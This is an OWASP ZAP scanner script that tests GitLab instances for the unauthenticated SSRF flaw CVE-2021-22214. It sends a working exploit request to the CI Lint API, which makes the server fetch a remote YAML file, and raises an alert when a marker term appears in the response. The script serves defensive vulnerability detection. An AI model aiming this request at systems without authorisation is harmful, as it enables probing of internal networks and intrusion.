/**
 * Contributed by Astra Security (https://www.getastra.com/)
 * @author Prince Mendiratta <prince.mendiratta@getastra.com>
 */

var pluginid = 100024;

var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender");
var HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference");
var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader");
var ExtensionAlert = Java.type(
  "org.zaproxy.zap.extension.alert.ExtensionAlert"
);
var session = model.getSession();

// Print Statements using script name
function logger() {
  print("[" + this["zap.script.name"] + "] " + arguments[0]);
}

/**
 * Unauthenticated GitLab SSRF - CI Lint API - CVE-2021-22214
 *
 * A function which will be invoked against a specific "targeted" message.
 *
 * @param msg - the HTTP message being acted upon. This is an HttpMessage object.
 */
function invokeWith(msg) {
  var url = msg.getRequestHeader().getURI().toString();
  var alertName = "Unauthorised SSRF on GitLab";
  var alertDesc =
    "[CVE-2021-22214]\nServer-side request forgery (SSRF) vulnerabilities let an attacker send crafted requests from " +
    "the back-end server of a vulnerable web application.\n" +
    "A server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an " +
    "unauthenticated attacker even on a GitLab instance where registration is limited.\n" +
    "By exploiting a Server Side Request Forgery vulnerability, attackers may be able to scan the local or external networks to which the " +
    "vulnerable server is connected to.";
  var alertSol = "Upgrade to the latest version of GitLab.";
  var alertReference = "https://nvd.nist.gov/vuln/detail/CVE-2021-22214";
  var cweId = 918; // Server-Side Request Forgery (SSRF)
  var wascId = 15; // Application Misconfiguration

  // To check if script is running
  logger("Testing Script against URL - " + url);

  var exploitResponse = sendReq(msg);
  var status = exploitResponse.getResponseHeader().getStatusCode();
  var rebody = exploitResponse.getResponseBody().toString();
  // The Content-Type Header
  // It would ALWAYS be in JSON for the GitLab Exploit
  var ctype = exploitResponse.getResponseHeader().getHeader("Content-Type");

  // Checks to make sure that the response is by a GitLab Instance
  // on the server
  // A unique term in the demo YAML file which will be present in
  // the response body when the lint check succeeds
  if (
    status === 200 &&
    ctype === "application/json" &&
    rebody.contains("CI_PIPELINE_SOURCE")
  ) {
    var alertAttack = exploitResponse.getRequestBody().toString();
    var alertEvidence = "CI_PIPELINE_SOURCE";
    var otherInfo =
      "Presence of a unique term, [CI_PIPELINE_SOURCE] was detected in the response, which is part of the payload.";
    customAlert(
      pluginid,
      3, // risk: 0: info, 1: low, 2: medium, 3: high
      3, // confidence: 0: falsePositive, 1: low, 2: medium, 3: high, 4: confirmed
      alertName,
      alertDesc,
      alertAttack,
      alertEvidence,
      otherInfo,
      alertSol,
      alertReference,
      cweId,
      wascId,
      msg,
      url
    );
  }
  logger("Script run completed.");
}

/**
 * Send a custom HTTP Request by manipulating the HttpMessage Object.
 *
 * @param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned
 * @return {Object.<HttpMessage>}	 - The HTTP Response
 */
function sendReq(msg) {
  var newReq = generateRequest(msg);
  var sender = new HttpSender(HttpSender.MANUAL_REQUEST_INITIATOR);
  sender.sendAndReceive(newReq);
  // Debugging
  // logger("Request Header -> " + newReq.getRequestHeader().toString())
  // logger("Request Body -> " + newReq.getRequestBody().toString())
  // logger("Response Header -> " + newReq.getResponseHeader().toString())
  // logger("Raw Response Body -> " + newReq.getResponseBody().toString())
  return newReq;
}

/**
 *
 * @param {Object.<HttpMessage>} msg - The HttpMessage Object being scanned
 * @returns {Object.<HttpMessage>}   - The HttpMessage with modified Request Header
 */
function generateRequest(msg) {
  // The JSON Body Payload
  var obj = {
    include_merged_yaml: true,
    content:
      "include:\n  remote: https://raw.githubusercontent.com/zaproxy/community-scripts/main/src/main/resources/org/zaproxy/zap/extension/communityScripts/resources/cve-2021-22214.yml",
  };
  var newReq = msg.cloneRequest();
  newReq.getRequestHeader().setMethod("POST");
  // The URL should be {{BaseURL}}/api/v4/ci/lint
  newReq.getRequestHeader().getURI().setPath("/api/v4/ci/lint");
  newReq.setRequestBody(JSON.stringify(obj));
  newReq
    .getRequestHeader()
    .setHeader(HttpHeader.CONTENT_TYPE, "application/json");
  newReq.getRequestHeader().setContentLength(newReq.getRequestBody().length());

  return newReq;
}

/**
 * Raise an alert.
 * @see https://www.javadoc.io/doc/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html
 */
function customAlert(
  pluginid,
  alertRisk,
  alertConfidence,
  alertName,
  alertDesc,
  alertAttack,
  alertEvidence,
  otherInfo,
  alertSol,
  alertReference,
  cweId,
  wascId,
  msg,
  url
) {
  var extensionAlert = control
    .getExtensionLoader()
    .getExtension(ExtensionAlert.NAME);
  var ref = new HistoryReference(session, HistoryReference.TYPE_ZAP_USER, msg);

  var alert = new org.parosproxy.paros.core.scanner.Alert(
    pluginid,
    alertRisk,
    alertConfidence,
    alertName
  );
  alert.setDescription(alertDesc);
  alert.setAttack(alertAttack);
  alert.setEvidence(alertEvidence);
  alert.setOtherInfo(otherInfo);
  alert.setSolution(alertSol);
  alert.setReference(alertReference);
  alert.setCweId(cweId);
  alert.setWascId(wascId);
  alert.setMessage(msg);
  alert.setUri(url);

  extensionAlert.alertFound(alert, ref);
}
